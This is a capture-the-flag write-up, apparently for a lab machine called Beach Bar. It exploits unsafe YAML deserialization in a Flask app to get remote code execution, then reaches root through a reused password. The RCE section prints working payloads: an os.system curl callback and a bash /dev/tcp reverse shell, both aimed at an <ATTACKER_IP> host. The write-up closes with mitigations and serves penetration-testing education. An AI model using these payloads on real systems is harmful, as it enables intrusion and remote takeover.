TL;DR
Beach Bar is a Flask-based "DJ booth" web app for a beach bar jukebox.
Default demo credentials (dj/dj) left enabled in an HTML comment get you
into the dashboard, which exposes a YAML playlist export/import feature.
The import endpoint calls yaml.load() with the full (unsafe) Loader
instead of safe_load, which allows arbitrary Python object construction —
and from there, arbitrary command execution via os.system. That gets a
reverse shell as bartender. A leftover --stream-pass argument visible in
the process list turns out to be a reused root password, giving a clean
path to full compromise via su root.
User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}
1. Recon
$ nmap -A -Pn <TARGET_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Gunicorn
| http-title: "Beach Bar // Sign in"
|_Requested resource was /login
|_http-server-header: gunicorn
Two open ports: SSH and an HTTP app fronted by Gunicorn, redirecting to
/login. Gunicorn + a /login redirect + no other stack hints yet — this
smelled like Flask from the start, confirmed later by the session cookie.
2. Initial access — default creds in an HTML comment
$ curl -L http://<TARGET_IP>
...
<!--
staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7)
-->
<form method="post">
<input type="text" id="username" name="username">
<input type="password" id="password" name="password">
</form>
A staff note left in the page source hands over demo credentials directly:
dj / dj.
$ curl -L -c cookies.txt http://<TARGET_IP>/login -d 'username=dj&password=dj'
Logged in as dj, landing on a "DJ booth" dashboard with /dashboard,
/import, /export, and /logout links. The session cookie itself is a
tell:
$ cat cookies.txt
session eyJ1c2VyIjoiZGoifQ.anFasg.OtavUIDXbkEQjqjuMSAZ-vaMu2E
eyJ1c2VyIjoiZGoifQ base64-decodes to {"user":"dj"} — the standard
payload.timestamp.signature shape of a Flask itsdangerous-signed
session cookie. Confirms Flask before ever touching source code.
3. Finding the sink — playlist export/import
$ curl -b cookies.txt http://<TARGET_IP>/export
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: "Maria Tambien"
...
/export dumps the current playlist straight from yaml.dump(). The
matching /import page invites you to paste that YAML back in — the
classic export/import-round-trip pattern that's worth checking for unsafe
deserialization on the way back in.
$ curl -b cookies.txt http://<TARGET_IP>/import
...
<form method="post" enctype="multipart/form-data">
<textarea id="playlist" name="playlist" ...></textarea>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
</form>
Two intake fields: playlist (raw YAML text) and playlist_file (file
upload), posted as multipart/form-data.
4. Confirming unsafe YAML deserialization
Sent a harmless !!python/object tag — not a command-execution payload,
just enough to see whether the loader would even attempt to construct a
Python object from the tag:
$ curl -b cookies.txt http://<TARGET_IP>/import \
-F 'playlist=playlist: !!python/object/new:str {state: [pwn]}'
<h2>Loader error</h2>
<pre>Could not load playlist: dictionary update sequence element #0 has length 3; 2 is required</pre>
That error comes from inside Python's object-construction logic, not
from a "no constructor for this tag" rejection — meaning the app is not on
yaml.safe_load(). It's happily trying to instantiate arbitrary Python
objects from user-supplied YAML.
5. RCE
Confirmed with a blind OOB callback via os.system:
$ curl -b cookies.txt http://<TARGET_IP>/import \
-F 'playlist=playlist: !!python/object/apply:os.system ["curl http://<ATTACKER_IP>:4444/rce"]'
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 56058
GET /rce HTTP/1.1
Confirmed RCE. Escalated straight to a reverse shell:
$ curl -b cookies.txt http://<TARGET_IP>/import \
-F 'playlist=playlist: !!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\""]'
$ penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.149.75 Linux-x86_64 bartender(1001)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ whoami
bartender
Landed as bartender (uid 1001), running out of /opt/beach-bar/webapp
— confirmed by later grepping the source that this is exactly what
happened:
$ grep -rn "yaml.load\|exec\|subprocess\|os.system" /opt/beach-bar/webapp/
/opt/beach-bar/webapp/app.py:4:import yaml
/opt/beach-bar/webapp/app.py:95: parsed = yaml.load(content, Loader=yaml.Loader)
yaml.load(content, Loader=yaml.Loader) — the full, unsafe loader,
exactly as suspected from the error message.
$ cat /home/bartender/user.txt
THM{[REDACTED]}
6. Privilege escalation — password reuse from a process argument
sudo -l failed (no password known yet), SUID/SGID enumeration and cron
jobs turned up nothing exploitable. LinPEAS's process listing was the
lead:
root 612 ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
A streaming daemon running as root with its password passed as a CLI
argument — visible to any local user via ps aux or /proc/<pid>/cmdline.
Worth trying that same password for the actual root account, since ops
teams reusing a "throwaway" service password for real accounts is a
common pattern:
bartender@tryhackme-2404:/tmp$ su root
Password: SunsetSpritz2024!
root@tryhackme-2404:/tmp# whoami
root
root@tryhackme-2404:/tmp# cat /root/root.txt
THM{[REDACTED]}
Root, via straightforward credential reuse.
7. Bonus finding (out of scope of the intended path, but notable)
LinPEAS's cloud enumeration section pulled live AWS EC2 instance-profile
credentials off the IMDS endpoint (role vulnerable-machine, temporary
AccessKeyId/SecretAccessKey/session token). Worth flagging in a real
engagement as a separate SSRF/IMDS-exposure finding even though it wasn't
needed to reach root here — anything with local code execution on this box
inherits whatever that IAM role can do in the account.
Key vulnerabilities
| # | Weakness | Detail |
|---|---|---|
| 1 | Hardcoded/leftover default credentials |
dj/dj demo login left enabled and documented in an HTML comment. |
| 2 | Insecure deserialization |
/import calls yaml.load(content, Loader=yaml.Loader) instead of yaml.safe_load(), allowing arbitrary Python object construction from user-supplied YAML → RCE via !!python/object/apply:os.system. |
| 3 | Secrets in process arguments | Root-owned jukeboxd.py service started with --stream-pass SunsetSpritz2024!, readable by any local user via ps//proc. |
| 4 | Password reuse | The leaked service password was also the root account password. |
| 5 | (Bonus) IMDS credential exposure | LinPEAS retrieved live IAM role credentials from the EC2 metadata service once on-box — no IMDSv2 token hop required in this environment. |
Attack chain
HTML comment leaks demo creds (dj/dj)
│
▼
Login → dashboard exposes /export + /import (YAML round-trip)
│
▼
/import → yaml.load(Loader=yaml.Loader) (confirmed via object-construction error)
│
▼
!!python/object/apply:os.system [...] → RCE as bartender
│
▼
ps aux reveals root process arg: --stream-pass SunsetSpritz2024!
│
▼
su root (password reuse) → root
Mitigations
- Never ship demo/default credentials, even for a "soft opening" — remove the account or gate it behind a feature flag that can't reach production.
- Use
yaml.safe_load()(oryaml.SafeLoader) for any YAML originating from user input. If custom types are genuinely needed, use a restricted loader with an explicit allowlist of constructors — never the default fullLoader. - Never pass secrets as CLI arguments to long-running services; use
environment variables sourced from a secrets manager, or a file with
restrictive permissions instead —
ps//proc/<pid>/cmdlineare world readable by default on Linux. - Enforce unique, non-reused credentials between service accounts and privileged human accounts (e.g. via a password manager + rotation policy), so a leaked service secret doesn't double as a root password.
- Enforce IMDSv2 (token-required) on the EC2 instance and scope the attached IAM role to least privilege, so a foothold on the box doesn't automatically hand over cloud-level credentials.
Top comments (0)